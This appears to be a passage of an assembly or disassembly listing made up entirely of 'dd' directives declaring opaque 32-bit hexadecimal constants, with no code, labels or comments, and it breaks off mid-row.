dd 0B9FCDAA9h, 0A3020DF1h, 0F64B401h, 847C2127h, 0B1289Fh dd 0DCCC7456h, 7200440Bh, 0EF9C4B25h, 3C99766Bh, 233A7E90h dd 3B70B580h, 1BCD2AB9h, 0BC0CA0C7h, 0A409820h, 0C2D500E2h dd 2B3579E6h, 9C003C72h, 0EF3AC120h, 0A814A2h, 0C558BE1h dd 0FA7DFDF2h, 0C3013E7Fh, 39236948h, 0A1CC59A6h, 0C7E8Ch dd 0BC9FC926h, 20E8CCA2h, 69482BF4h, 98AF005Ah, 50AC8006h dd 0EF3F280Ah, 531107ECh, 0C081D7A3h, 60C60D3h, 3E01CAF0h dd 1864CC05h, 1AD9D8A0h, 0E524B0DFh, 0E8AE98C5h, 27E100C9h dd 5374F0CEh, 8D38D842h, 9A9B80A8h, 0D7F3AF21h, 6732014Ch dd 1A55BBE5h, 0FB6420AEh, 0FFD82F00h, 0F58C6E1Ch, 0D446589Ch dd 0F7AF7D00h, 0C65F9DC5h, 79235800h, 0A1E59887h, 0A41A1E59h dd 2EB5C07Ah, 57969DF1h, 44FA9301h, 0C313B67Dh, 6F2EAC47h dd 0C08380DDh, 24E73B87h, 3D85DA6h, 0BD460C8h, 0A2B986A8h dd 3303EB06h, 7C38B74Dh, 9C110022h, 0F7AE2F7Ah, 18C0C8F1h dd 2EB6F642h, 0D59338A3h, 0CF07C13Dh, 0F0E76073h, 15F72B36h dd 0F63D3000h, 799E2883h, 0CED81D24h, 77F00075h, 0CAB2B3EDh dd 0B4926733h, 873BF342h, 0D75F95D0h, 476E0001h, 0D9BC307Eh dd 9D00C604h, 0D0B9F035h, 1DB48Fh, 58BBB5DFh, 46D23220h dd 0E03ACC00h, 69F185C3h, 3AAD79AAh, 28008BEFh, 0AE510D8Fh dd 1E98F818h, 0A6780F00h, 44D609C1h, 83E02422h, 500E0B1Dh dd 0AB004956h, 26F064F6h, 0BA9C0043h, 0EAFD95E7h, 5300C72Ch dd 16938E71h, 0B0430C02h, 95B13A86h, 410E0387h, 0FFF0826Bh dd 90C4ABC0h, 6771100h, 6481CEC8h, 6CE000F4h, 0F140B687h dd 940060DAh, 1DE1429Dh, 1C685BDh, 4E325503h, 0C4CB06E7h dd 4200EB97h, 8DE1936Fh, 3DE57EAh, 0D9B83DBEh, 0ACB8AE22h dd 8C4C95FCh, 90E382Ch, 80A86BFAh, 9EF5D368h, 28834CDDh dd 0C6835F3Fh, 28B21570h, 0B0C8C1ECh, 26DB20E4h, 0D7794A00h dd 58C48405h, 9F2F0077h, 0E2521110h, 5700D194h, 0DDFB0B7Bh dd 3A6AE98h, 0D888E301h, 30AFAA76h, 81A009BFh, 0B946BA01h dd 625F8390h, 8929E8h, 42F36D82h, 0C8A15E14h, 802A383Ah dd 8B313FB0h, 0A90265h, 0F75A83F0h, 0E9EFFB4Ch, 0C4A75900h dd 75CCBA2Ah, 87880082h, 8C277AE4h, 3B18B297h, 0B11C1E6h dd 6DF502ECh, 0D38D63F4h, 42BDA440h, 7B0C5000h, 0B144DBD4h dd 3F640018h, 69C5B8EAh dd 0A0031F06h, 15BE9688h, 24A5D808h, 32400084h, 236A6697h dd 8300A0C1h, 0C4ED11BDh, 4A73A4h, 3F4BA251h, 18C808ABh dd 13A3753Bh, 0C400F76Bh, 0E6664D2Dh, 0EC747319h, 0FE770167h dd 563E2A8Ah, 40ADCC9Eh, 5C00F090h, 0FD198632h, 97CDB9h dd 45439ACFh, 0E88EA382h, 1048ED05h, 0EC00E7E1h, 0CEF8A0C7h dd 91EEBBh, 0A9377B59h, 0E22C624Dh, 176B9C0Eh, 6730CE43h dd 0E3603EA5h, 60FCD59Ah, 47AE34EFh, 5107F54Fh, 0A6538F91h dd 0CD978B40h, 89CC0738h, 33E76ADEh, 0FAF83145h, 0E5B84172h dd 9181B600h, 834349A7h, 48C51D24h, 8704006h, 4E525E61h dd 0A20CD800h, 0FA7FD146h, 5986001Eh, 0DEC8760h, 6AE2D4EAh dd 6840FC01h, 94D3A013h, 3B87D20h, 0C65C9B4Dh, 709F15FFh dd 37428C31h, 383AE307h, 0DA749C2h, 883BEA93h, 2154F9h dd 0D1312608h, 13643524h, 806CCE3Ah, 0A939A5Fh, 0F6EDA2h dd 0CC8B88E4h, 797B026Bh, 24F28E2Eh, 0E700763Eh, 0B0AC214Bh dd 7498CBh, 0F3B9F471h, 13A7396Fh, 0BD00F77Ch, 7DA87099h dd 24C9A209h, 8C7C2Bh, 0C915E56h, 0D13B6EEh, 98003B11h dd 0BD80C4A2h, 0B57A86h, 9E9BD1A8h, 683A60C5h, 84A31E00h dd 0C7573BE4h, 34C90ACh, 77EF8876h, 0CDD81155h, 0CA07A98Fh dd 0D383F40Dh, 0EF513480h, 0CF99005Bh, 0A53ADFC8h, 9E5C9C96h dd 804000Dh, 0FAD86821h, 0BE5E076Ch, 0B035AA82h, 0B09B1E3h dd 4283E21Dh, 0BA439E01h, 5ACCA86Ah, 592B0023h, 9C4953ECh dd 0DB00F7EBh, 80033367h, 0E696E137h, 1EE50065h, 3814213Ah dd 0FA008299h, 0A78E62CAh, 0C9AF57h, 8CB8978Dh, 0D8E878F6h dd 0A3A20600h, 0B7A1ADACh, 0B12C2477h, 8A8B0084h, 0A9EF8A8h dd 14914600h, 0E495A84h, 3BE00009h, 2F585678h, 9573DA66h dd 4C6D7B3Fh, 90E700D9h, 0EB647C61h, 948C00B0h, 4A6E807Fh dd 0A300DEBDh, 97CE93B8h, 5C63674Fh, 0D400940Eh, 0A1183E20h dd 200100Ch, 4F8898DBh, 6B4D58h, 0A7C4B333h, 70510BE1h dd 0C696BC00h, 995363E8h, 5FC70078h, 934CB349h, 25002180h dd 4E854B6Bh, 70C595h, 3561A6C4h, 539FF56Eh, 718AE300h dd 4E14A82Bh, 7D390ECh, 0C9F99BFCh, 0AEA1F034h, 0F100A2CAh dd 5388484Bh, 0F2390117h, 7B6E0FBEh, 6D605835h, 41DBA527h dd 8251C900h, 0E43B530Eh, 0F8D00DAh, 745DA35Eh, 25389545h dd 5AFE00E6h, 56DCC1D7h, 6B8600A1h, 0E7AF7B2Bh, 0F5053ECFh dd 825A8CA6h, 93EBBA07h, 2A468F90h, 0AE0D00F3h, 0C13A76CDh dd 0E6005EE7h, 9A6E22E8h, 35CB110h, 0A5EDFA56h, 2007C654h dd 2B58AA12h, 0E0B021E0h, 90695079h, 7896F0E2h, 0A52600BCh dd 76030CABh, 23008518h, 0D6F3F0F5h, 1DFD113Dh, 0C0AE8161h dd 0BC2FCE59h, 7CB0BFB5h, 7A4E5303h, 0B0F748A9h, 3B01B55h dd 0E6D931B7h, 100F3D62h, 6FC4B970h, 0DE009C25h, 9D03945Bh dd 9278C0B5h, 1B45F01Ah, 0A7E59100h, 0AB3670D3h, 0AF8800C2h dd 0EA025DCEh, 5E00D9C6h, 0B8A5A93Fh, 7D43F2h, 0C177FEC7h dd 0ED40EF6Ch, 0CB0F45F6h, 0A0BBE169h, 0EBE3886Bh, 31B00B8h dd 30FDAB2Ch, 94005E2Dh, 1CE9F0A1h, 173F570h, 436113C3h dd 0ECDAE5B8h, 0F00745Bh, 0A722F303h, 0F467BAh, 3A37BE41h dd 8B8634B5h, 3F0668E0h, 0BF17A61Ah, 0D17A00C8h, 7725AB41h dd 0C400EB63h, 9A368A94h, 3C81FFBh, 6480E7A8h, 0BFE06A37h dd 3060062Eh, 0CE888D44h, 6101012Bh, 0AFB31CC0h, 0D0813059h dd 8009090h, 61AFF44h, 3F625A9Bh, 72805C78h, 2A438050h dd 0BA3D3422h, 0CABD80FEh, 7663B5E3h, 0AD123BF8h, 60D7C009h dd 40AF3C00h, 6BE43C3Dh, 27BD39h, 945FE1C8h, 99CA28h, 4A14B90Ch dd 55DD4C45h, 0FAA0CB50h, 0C9F63900h, 0BA83C3EEh, 0F2E03Dh dd 0B95E1516h, 0AC0998DFh, 502EEC0Ah, 0F81CF81Ch, 7D81200h dd 0F31065Dh, 63FB34C1h, 8000884Fh, 0D5A5F32Eh, 0BD93C207h dd 18EFEEBh, 7DB48418h, 0B31E20h, 8ECACB19h, 0ACC2C135h dd 13A8DE60h, 0F024C03Dh, 9BC900FDh, 9F986C99h, 2C00F9B9h dd 0A412918Ah, 2E8BE159h, 1DE1D4C0h, 40D3C0BBh, 0EB8DD5FFh dd 0E8FD6300h, 1E1387C9h, 0E392007Fh, 77891F69h, 0B91840BCh dd 0A5C852F4h, 0C8BA380Ah, 0C7612580h, 0B7BE8644h, 0CC20B303h dd 0D43DD57Ch, 7A02B080h, 3C197089h, 5819998h, 79A3519Dh dd 4C0DC1Fh, 4C289763h, 3CDBB00Ch, 2BFC66h, 0FEA5836Ah dd 2CD7ECE8h, 0CCA3C900h, 0A145BD38h, 0F1AA00B0h, 0D98146B6h dd 0D3180FF7h, 8D19B52Eh, 7CAE02E0h, 0D8E96886h, 0B25B841h dd 115F4610h, 6287B4E2h, 0D036E4C9h, 8682D444h, 4A15F100h dd 0E19F2DFCh, 51550058h, 23537457h, 68002E7Fh, 113AA4BAh dd 0BED120h, 4745FD97h, 8BEC8AA7h, 6E93F230h, 0E364FAh dd 0F1B2C06Dh, 4A2899A4h, 411AD000h, 7E5AB5F9h, 969E018Fh dd 6F36B72Fh, 2A388117h, 0B269E8B1h, 0E6F8C4h, 4D89C23Ch dd 0B023228Eh, 0E0EC9F00h, 0CF1DDE49h, 288414D0h, 5600E8E7h dd 93AEB21Eh, 50002F8Eh, 3A9A64FFh, 0C307E2h, 7A4538B0h dd 0A81C0F5Bh, 3B2BBB00h, 2914993h, 1F27FEB8h, 80C55D51h dd 22D332E9h, 0E414D184h, 0E46A9Dh, 0AB13C2B4h, 29FC7BFh dd 0B0EDB11Ah, 0F2C090A6h, 0D300C53Eh, 0B8BD6DFEh, 0FE556B5h dd 62AB9B74h, 0E3E5040h, 0FA0026E0h, 31537A85h, 1FDCBAEBh dd 0C06209F3h, 0AD2E75F9h, 19015058h, 0A88C10D9h, 0E770244Fh dd 0E0A40067h, 5B945698h, 3C30E73Eh, 0A0585E16h, 8CC001Ch dd 0B2DE47ADh, 5F002B15h, 3A6BF1ACh, 0FE04F35h, 0F808C234h dd 51267A60h, 0EE0010F7h, 4EF272EFh, 0E6D867CFh, 3EE0141Ch dd 7380F49Fh, 6EA1DBC8h, 2C4F710Fh, 4E6CA74Bh, 60BCE0A2h dd 13C21114h, 0CC802Dh, 30D870DCh, 0EE008EC3h, 0BE55AEFDh dd 0F5A05BDh, 17E3A2C0h, 0D33ADE00h, 0A61D13F9h, 76016287h dd 88EEDD2Ch, 0E0FAC6D4h, 0B74A00CEh, 37F598E9h, 0A21E9F10h dd 2700D27Ch, 4857D4Fh, 6B8700AAh, 0FA7709C5h, 5200B574h dd 0E1A649B7h, 33905h, 0DCD534E6h, 0C1F62D89h, 714C0C75h dd 3B02058Dh, 0C884113Eh, 21600BC7h, 611A55h, 3075CFF6h dd 0BD265628h, 0A7A35300h, 1C299EC9h, 0A9F10065h, 46DDEDABh dd 0E9EED91Fh, 0DFC38E03h, 80F02A4Ch, 0B808EC79h, 0EE8F7366h dd 0E4564C4Ah, 7DAC49h, 0A768F0A2h, 7247F9F3h, 7F7E0FFCh dd 0FD71EBF6h, 36C020FFh, 8A166800h, 3B1B5EE2h, 59400019h dd 9BF12CFAh, 0CA3C4286h, 0E8F38393h, 0F884C380h, 0E05E6E13h dd 42DB00ABh, 682AA251h, 7003D2Dh, 0BF48B136h, 5C6A32A3h dd 2C009850h, 1C4720C0h, 15300E4Fh, 2F844029h, 69B800CFh dd 3AF8360Bh, 12009042h, 0FA9E20E8h, 12B9D7D3h, 82DF4Eh dd 0EDA568C0h, 0F90064ADh, 0D8A046E4h, 1098335h, 0C80DCCE0h dd 0E48F8CC1h, 0DC79DEF3h, 0ACF1E800h, 8005DA41h, 0BA4309EAh dd 9400D394h, 0F9978DBFh, 8C2EC700h, 25EB3F63h, 0CF1400D7h dd 0E5935260h, 0DC144428h, 2E0162Fh, 0D5029C79h, 11D2E0D9h dd 0E9871F7Dh, 0FDE4C117h, 0E055C97Ch, 25F0FF0Ch, 0D7C14403h dd 0D8DB9804h, 0FEF4567h, 8D4D15Ch, 52481400h, 5900D23Fh dd 4B25DEAAh, 1D8F0F68h, 80787Ah, 0A6BE2A86h, 2BF42DB2h dd 639D8C07h, 8DC08BCDh, 0E8C9F96Bh, 5C8000F4h, 32735FAh dd 860773C5h, 0B33DD779h, 96CB9530h, 9E4D01F8h, 34CD810Fh dd 9164D02Ch dd 4EC4D250h, 4F433Ah, 52ACD19Ah, 0CEE979Ch, 0BD532B28h dd 0D57A0F28h, 2B35D06h, 0F8489589h, 0C2820D61h, 0EC109210h dd 0B8006FA9h, 0D157126Ch, 0B3056Bh, 0F56CFDEh, 707621BCh dd 20402661h, 10C83980h, 0CBD40219h, 4EE77A0Fh, 0A29DF980h dd 532EEC81h, 0B300355Fh, 0F78455DAh, 1FD200DBh, 0DD2B4C1Dh dd 4903C00Eh, 0C46719A0h, 7EB80FDFh, 132C7F82h, 0D800AFE1h dd 0DF41E48Fh, 63989628h, 0B8C30866h, 30CE2000h, 0C49D3E94h dd 17771E71h, 0B066C0EBh, 7D900CEFh, 0C44028ADh, 5216B97h dd 0E8EB18F9h, 0BE9000A2h, 488A8591h, 0A3C4C4A8h, 95036C90h dd 0CDA5B4E5h, 0C30828D6h, 168100B8h, 9F964EBCh, 0EB007707h dd 0A92C57CDh, 0AC126Ah, 19264A1Bh, 0B37EEC24h, 643918D9h dd 97C32080h, 7ABC1939h, 0AA723E00h, 0B907146Ah, 0B857301Ah dd 302AB330h, 39AC6D30h, 0E68671h, 78B1280h, 5D32B49h dd 21C360E8h, 0D7C17FECh, 576C6B80h, 3480A1Ah, 3DBCE567h dd 5376EE00h, 0C296900Eh, 0B800B37Ah, 9BCE7D91h, 37E6D0h dd 26F035C8h, 11688ECh, 7E05DE30h, 3C023Ah, 81A58ABAh dd 487309DDh, 747E5103h, 87B54C7Ah, 9615C740h, 0A1720008h dd 397BAB75h, 9200A53Dh, 367D1AF5h, 0FA72695h, 2848C94Ah dd 21D2DF40h, 0C703F8B8h, 0B5BF84ABh, 0D006D0CCh, 431300F3h dd 41792A47h, 9A002788h, 0ECA6876Dh, 3D2B2Fh, 7AC94FC7h dd 10CB6AFAh, 355E5807h, 0D3D07124h, 0B2DD5Fh, 5DB1139Ah dd 0AC749DBAh, 0F4156501h, 0A5C32950h, 32275D8h, 61CEC8E9h dd 0F280B9DDh, 6A00D30Ah, 7C5ACBF0h, 1CD825ABh, 4146EC10h dd 2F7075C2h, 0D9609FD4h, 1AA7C640h, 3F219468h, 0B280BBDCh dd 0F58CA68Eh, 13F876D7h, 62FB521Fh, 0B1F68180h, 308F67AAh dd 0DEC1DA38h, 0E279A050h, 4B03BC75h, 7E9DF7C4h, 0A5B8E0F3h dd 2CAA0061h, 0B18CC836h, 7000A677h, 5B30C947h, 61C134Ch dd 24F82667h, 0C10EE894h, 0E06AACD8h, 58A5D051h, 0F5B20187h dd 0F476DDAEh, 0EDFBE4F0h, 661D8903h, 0E8745CE0h, 79B056ABh dd 778B392Fh, 0ED61C03h, 60F8ACB5h, 15018DF6h, 7F07B99Ch dd 0A2E866C3h, 1D850FF5h, 51001C35h, 8862E408h, 25A51500h dd 6FEED858h, 0B30903D6h, 0E7713028h, 19AB1000h, 37976AAFh dd 394D146Dh, 0BC000CDFh, 2E839DFBh, 78645D0h, 0B35379DCh dd 2CEB9047h, 607809A1h, 0AAE12E01h, 0E2F1A92Bh, 0FD68D18Eh dd 0EBE56D40h, 851601F7h, 280DB774h, 0AEC820C2h, 18DBF524h dd 39F6F1C8h, 0B2002EB9h, 941432D3h, 5C0A768Eh, 7B00B94Ah dd 502C55BBh, 250028FAh, 0C9A17A6Dh, 0C0D01979h, 2F972210h dd 5B00FA0Fh, 0F9053091h, 92F508h, 7779F68Ah, 239FDB50h dd 29214232h, 98BC207Dh, 7600B657h, 74B2B98Eh, 513B9495h dd 9800809h, 0A30EFBCAh, 0D13817Bh, 0BE00A58Dh, 0DEDF2988h dd 0CA2A07FDh, 0C08AC998h, 0E847FEC1h, 771FD100h, 0C4113113h dd 6718Bh, 0BEDA3D55h, 0D3274D4Eh, 4B68CB38h, 8D88E0h dd 0E495FB3h, 427951FEh, 0BC9EE700h, 21B6A44Fh, 0EB7D0136h dd 6A4529BEh, 6CBFDC77h, 0BA727800h, 32FCE520h, 11250088h dd 0BECB26C9h, 8B0451EEh, 64A9945Fh, 87C2D580h, 0C8C703CDh dd 3357EC30h, 5E13ADA0h, 0DF7BC5FEh, 0B4F69A28h, 41000A90h dd 0BF0B6431h, 7E07FDE7h, 0AD4703F7h, 7CCF98DCh, 705F42E0h dd 347FCE0Fh, 81BEC0D0h, 1E2AAF51h, 0C03CD4B7h, 0AB3978DEh dd 6D0023A7h, 0A4B39A76h, 448289Dh, 0A8407C4Ch, 0B9DF81C1h dd 7AAFFC2Ah, 0A3CFB600h, 77AA66B7h, 4AE5004Eh, 41A80402h dd 1A7B64BEh, 3AC6AB00h, 320F5808h, 3E5D01D2h, 1FE0F34Bh dd 0C48EF8A2h, 116AD700h, 0B3D1BB82h, 0FC1B1607h, 0AE0B00E6h dd 4D31D929h, 79CC801Eh, 2A120D24h, 78032813h, 0B051BBE6h dd 2075F8h, 2CE15B09h, 48ACC1B2h, 0E2A4742Eh, 8B4CAF00h dd 40A125h, 4EA72E81h, 6D911789h, 43E3320Eh, 8566A03Ch dd 616C34h, 715AFD45h, 0E3ECF33h, 37F72400h, 45FFC66h dd 2B6B008Bh, 0FE873257h, 0D33BBDCFh, 723A8159h, 0A0F99A78h dd 12DAC9E4h, 574838h, 0FA65E2D7h, 0E3006F45h, 958A1BF9h dd 89212Dh, 22D0AA34h, 31A42F4h, 782ACB00h, 0AC93D2E6h dd 0C1510172h, 8F4980A3h, 0A8F88036h, 9B24DA89h, 2EDC008Bh dd 0DB4FBEB1h, 0C5F6ECF5h, 88D8FB00h, 0A4C2C712h, 56A53A09h dd 94F7EF0Fh, 4C9FB720h, 0D0E0280Bh, 7427B508h, 4E218F32h dd 1E5E6D80h, 43482026h, 0F6D401EEh, 0AE54FB8Ch, 34BDC4h dd 0A97AFAE9h, 0DCE031B8h, 1A6BF703h, 0E88B413Ah, 47FFF9h dd 4CD0584h, 2898D0A1h, 78EC1479h, 0A05E180Eh, 0C924A0C1h dd 39FF25D6h, 0C304A2ECh, 0EFC6C5DCh, 77D1C700h, 986770CEh dd 817828h, 0D83215Dh, 1DAE1FB7h, 706C0A02h, 0E09E7DF0h dd 3065E48h, 0CF366BA2h, 568860D5h, 0D9605A23h, 186967CEh dd 2F723F4Fh, 51C27900h, 17133E04h, 0E9153207h, 5240BEFCh dd 357D38h, 65B19179h, 184B6855h, 0FCAE8A00h, 0F84FF029h dd 0F0FE44Ah, 6F3A4C52h, 0A86D35A6h, 0DDBE3003h, 0F3C0E4B4h dd 67980FA2h, 0C4ADA82h, 245200ACh, 0BC94908Fh, 9A1B4C14h dd 613600BFh, 3BF3110Ah, 0A2CE07E1h, 62C7B5D8h, 78492B9Fh dd 0C8EE30E7h, 39582E00h, 998984A2h, 0F3F100FDh, 62B5C98Bh dd 0C8FC57BAh, 0C2F21400h, 9610F6E1h, 3080F949h, 0FE71FD55h dd 8C3AE91Ah, 0FFA6387Ah, 0D1A88B00h, 2A8001BDh, 6CECA0ACh dd 8698CCh, 0CF60CE64h, 0C021AA0Eh, 1A0708C0h, 7B20F95h dd 536EFCD7h, 3BFA32E3h, 77E2C180h, 70037C33h, 0FD9307B6h dd 4498A063h, 0ACFB0172h, 10DED628h, 0D02421E1h, 15EE862Bh dd 68EE330Eh, 8BE381FBh, 0ED01F7Ah, 0B9AE0056h, 0AF92F009h dd 2401C1EAh, 1A22ED46h, 3CE4C779h, 206E00AAh, 4CEFDF7Bh dd 77780F8Eh, 12539300h, 9183016Ah, 27FE0661h, 78E22934h dd 0BC462B03h, 0C035758Ch, 7ABDDC50h, 743A00A2h, 8A9EE1CFh dd 340173FAh, 60A7AE0Eh, 0D2C06C03h, 842E03DFh, 0BBC40D23h dd 6B0CE5E0h, 31BDEC00h, 648C065Ah, 0EBA4E82Ah, 3A90F846h dd 2B01FE18h, 7EC06BFCh, 89182024h, 945E148h, 0B650F1h dd 0DC2684ACh, 28940083h, 0CD6BF842h, 0DA4C5D7Dh, 0A2007260h dd 4D86F1D3h, 148C3A15h, 941DCEB5h, 0A15110h, 0D969C014h dd 23F1AFh, 7FF59826h, 0F639B70Fh, 0A02B4800h, 8CEFFCFFh dd 34B41CEAh, 0BA2940A3h, 487CB55Eh, 4C91D00h, 39F8EE63h dd 0EC2B0028h, 0A1ED059Ch, 4407C5FEh, 919558D0h, 0D4C126B0h dd 0DFB11807h, 1AD330A7h, 49EACE0Eh, 5C00FF25h, 7161231Bh dd 0A430002Eh, 0B3582A08h, 7A2E522Bh, 549E1815h, 372D4680h dd 0B069608h, 92C599BAh, 0B6A1B080h, 9000010Dh, 0B3566554h dd 39F920h, 1B47AFB4h, 4F3B526Ch, 0FB0DAE2Eh, 2F8E6A07h dd 75DEAA00h, 0D063034Dh, 5BB11B2Eh, 0B6D9CFF8h, 543CA32Eh dd 0CC41E680h, 3090440Eh, 0D708ABE3h, 0FB0759B4h, 9E3CAC28h dd 783A2383h, 0F47830h, 0CE740EB9h, 15E8A716h, 0F89AF600h dd 4C91FF95h, 0B4B6189Fh, 7819615Fh, 0E6A8C300h, 0DE73D03Ah dd 0F90BAFEh, 0D17009CDh, 0F385E560h, 6318D89Eh, 1321FF7Ch dd 0C5A804A0h, 82E40C77h, 90E01C76h, 840F6419h, 20BC8D3Fh dd 5F13FDE5h, 2F70062h, 0BA6B8785h, 4198BEB9h, 2C2B1E01h dd 5B4ACDB3h, 7B29D740h dd 53D2003Fh, 0B476D58Ch, 49002FD1h, 6D63BDB2h, 639E1F4Ah dd 1AB690FBh, 0C82E6881h, 0C50269FAh, 0ED33BFD3h, 0E0A6637Ah dd 193D45h, 2206904Bh, 0C6E146C4h, 176B700h, 0FF9FF792h dd 5C3075FEh, 8D157CF4h, 4D008C6Ch, 0D8220499h, 8819648Ah dd 6D08BAD1h, 2725BC40h, 1F04006Ah, 0A2AD5A1Eh, 14C110Eh dd 9C4392Dh, 8F5EC6F7h, 637AA08Ch, 0A8F915A8h, 3EDEFA9Ch dd 0C4A4C024h, 384880B4h, 507E6EA6h, 0B3F04107h, 72464934h dd 73F30021h, 85B0AEADh, 7F00FE55h, 0C284439Bh, 6C4A7A3Ch dd 525861D3h, 2201A343h, 0C07F74A6h, 0C02B0C9Ch, 0AD5D8589h dd 0AB05975Eh, 4AA655Ch, 0EFAF9800h, 14F1F916h, 90D1B37Ah dd 1B430C76h, 8578460Bh, 531FD27Fh, 1A83676Dh, 0E0832E6Bh dd 0F13500Ah, 8260C3F3h, 0D0909100h, 8074BFDBh, 0C0F13000h dd 5398FCCBh, 0AC32C96h, 866A0157h, 0E8B72152h, 0A01D8147h dd 0DF455C33h, 0EE2FFFh, 9DA5EA96h, 1100BEC1h, 0E8FBE154h dd 0F16D0Dh, 2BA304FAh, 0F517B895h, 4D451600h, 0D467C56h dd 0AB6A0083h, 0F7604902h, 0F600DDFAh, 9CA265Ah, 1C3A10h dd 1BB12A2Ch, 0C2CD4FE9h, 44B2EA00h, 0F8D01692h, 0AA4E0066h dd 0D6150546h, 6200FA86h, 2C5869EEh, 26836Bh, 301C8103h dd 1D3FD064h, 0D9666A26h, 0A8918F00h, 51B441EBh, 0DAD0A607h dd 0B1171EEAh, 5F98CF78h, 0B0FAEE01h, 0AE2FD0DBh, 593420C0h dd 7CFE67Bh, 0DDBBDFE5h, 903B8794h, 77E38D33h, 0E001B43Fh dd 7205DA08h, 5A560019h, 111F7ED3h, 0BA00150Fh, 0F6368660h dd 7F23FD9h, 2FEAE923h, 0FA381CBCh, 3B80D500h, 7C1C9522h dd 890635Dh, 2000E914h, 2B81AC19h, 0D3384Bh, 801F942Fh dd 3EC732FEh, 677AF200h, 0ECE24652h, 0C65C1907h, 183CE8EAh dd 3E7B045Ah, 32DB0798h, 623D202Dh, 5370B47Bh, 0F8F9051Dh dd 9D7748F0h, 0FCC20173h, 515F8089h, 0E27083E6h, 7EB259Bh dd 0B8C0EAF9h, 16CC9027h, 7E03AB86h, 519DC6AAh, 772007B7h dd 302554D4h, 7BCD22C2h, 0B1FBCB1Dh, 3F69AF18h, 0B983Eh dd 6C3D8C42h, 0AC25C079h, 910A66FEh, 0B88B237Eh, 9A4380BAh dd 5EB68C2h, 7A8C7EFFh, 0FC651E20h, 0E97B40EEh, 8BD17553h dd 71565103h, 0F8101883h, 29B752h, 35A9FDEBh, 59680CD1h dd 0FEB38E00h, 1DF05CB0h, 0A5C11F79h, 0EF1F41F3h, 4081ECC5h dd 9B8B8DAEh, 2C3F000h, 0C04B0F76h, 74C800EAh, 0D01062ECh dd 8C3D66CAh, 0F2F40693h, 0FE05EFh, 0AAA2D66Ah, 0B3B18B87h dd 6FABB800h, 0F9A908CAh, 0E23B1C41h, 9FBBC02Dh, 6822EC60h dd 201EA400h, 337BE869h, 21E93B9Bh, 6E289E1Eh, 0A97204A5h dd 7871C05Bh, 38C01714h, 0D61D43FDh, 8896011Ah, 6484B3B2h dd 6A827065h, 9BB61400h, 0CBD1D473h, 0CE063h, 184AEA66h dd 9DC0D041h, 5E69602h, 0E1E3D978h, 70807F0Bh, 4F0BEEA5h dd 80065AD6h, 648793E0h, 18DFECA8h, 28959EB9h, 9F000705h dd 14BD550Dh, 82985BB5h, 0E8907380h, 32006C96h, 655E9EB1h dd 1DA28115h, 0C0FE1CB3h, 0AD943986h, 7F608D61h, 11B1ED39h dd 345A0FCEh, 2A0F5BDh, 0AF79BEB8h, 25CD3Dh, 888C9B52h dd 71EF61CAh, 9FF30089h, 71B79A2Bh, 3B07D0A2h, 7BFFB1DAh dd 340DF9D0h, 0D7BC4CD7h, 0FEFA3860h, 9701EB1Fh, 87CCE2F6h dd 0E6DCD8C1h, 456E0082h, 24F4091Eh, 2F28EB98h, 9B7F9014h dd 0F2738600h, 2B26D77h, 0B9710EFCh, 0F5E03781h, 36FB0C65h dd 70901901h, 4C08F4C9h, 113C1880h, 265312BFh, 7D0D4D00h dd 0D5F37A43h, 0F617792h, 730257C6h, 7BA2C0BCh, 0C923D658h dd 1B6FB5Ch, 4B68CB2Ah, 398B7C83h, 7D00C30Bh, 0DB1F57C2h dd 4ED50F06h, 0F8215A65h, 0A2B72416h, 7206005Dh, 9C9AEA2Ch dd 0CC140D00h, 7A4408CFh, 365A3BC3h, 24F31Eh, 1E8367D3h dd 62008FCCh, 58D8BD22h, 74EEA93Ah, 403460F5h, 0BE05149Dh dd 99093Ah, 0D36A0418h, 4C0ED14Ah, 761C23h, 826D2E15h dd 54B63EB3h, 7C0B5E00h, 0ADCD3005h, 0CC480E3Ah, 47A1DEA1h dd 0F84F1027h, 0D706FD49h, 0B2830173h, 36130038h, 0E35415FCh dd 91D4688h, 8E28893Ch, 6E9C20C0h, 344977h, 2C741232h dd 73B7E93Fh, 1DC978C0h, 3DCF968h, 621E4094h, 700075A6h dd 0F46B46DBh, 19C639FFh, 18160EA0h, 88B1B770h, 4A305D84h dd 19796878h, 5D109143h, 49380ED7h, 25BDE078h, 3BFF383h dd 48D17EAEh, 0BB90ABE0h, 8B000379h, 758C00Ah, 4F5D72h dd 9039FE45h, 46DD9508h, 0D7FA2700h, 61E730E1h, 47A8D43Fh dd 311CD100h, 6439A46Ch, 0DF68C300h, 0B89D1E47h, 0A0761C9Bh dd 0D33BC077h, 0E7C9C432h, 0E2FF4500h, 8E4EF062h, 0EE8603DDh dd 0FA426561h, 63CA1D98h, 760EE077h, 0C5302705h, 0A0C071AFh dd 0F5B13CDh, 861A74F9h, 0AC3FFDE0h, 7D2E3C93h, 0EA001629h dd 1AB2C924h, 0EABEE57h, 0E52192F9h, 4D2CD9E0h, 0DF79DB35h dd 0C0903100h, 0D6E3FAB6h, 0A7DA01EAh, 5EF5AFACh, 917FE8C3h dd 42BB1500h, 0B2CA23ABh, 0B5E80760h, 402AB3A3h, 20F4A79Ch dd 8F406C0Fh, 953E40CAh, 0A8FAD4h, 6FC2FBDFh, 0E3457D53h dd 81EF0F07h, 0EE6FA12Dh, 8E30E09Dh, 0A74B77h, 0EEA3E795h dd 27DD1E6Ah, 0B38D8900h, 0A9099718h, 700E00F5h, 0D549FCAEh dd 6A00F623h, 7B289351h, 767120Fh, 0E3B94EABh, 1FEAA015h dd 0C800BA45h, 0B1945F8Fh, 7C33DAh, 0D472429Bh, 14DB741Dh dd 4FEED06h, 0FEF41EC5h, 8A7B0EFCh, 0D4405F7Fh, 0CB259013h dd 24005C75h, 0D81D513Eh, 0CF236h, 8E785E99h, 0C47A9430h dd 0F7164Ch, 2275E611h, 3FDAF8BBh, 39809593h, 0A89F66DDh dd 1900BAF5h, 63FC9080h, 2EA2E1EAh, 2D516A5Eh, 0ECCA3300h dd 6F008A9Ah, 909CE7FAh, 1A1C0A5h, 271BB8Fh, 0E0B6C846h dd 2A01E21Ch, 13266B1Bh, 0A5F40E55h, 28B0F1h, 166A9C3Bh dd 5FAEF57Fh, 5133FB00h, 6508D7B4h, 0F6F6D9h, 27790AD3h dd 7BCB6322h, 0C0A8B305h, 1A805CDFh, 0F7148Ah, 1C192DA9h dd 63BF1B2Bh, 5432410Eh, 5D56A076h, 3865F86Bh, 733CD623h dd 1043E180h, 601C3DA6h, 95042100h, 80766DB8h, 37C926DFh dd 11B500A0h, 0AA4854Ch, 8256C607h, 0F48094C5h, 0A5AE7Ah dd 9849D3F5h, 368ED4A4h, 0EBA39E00h, 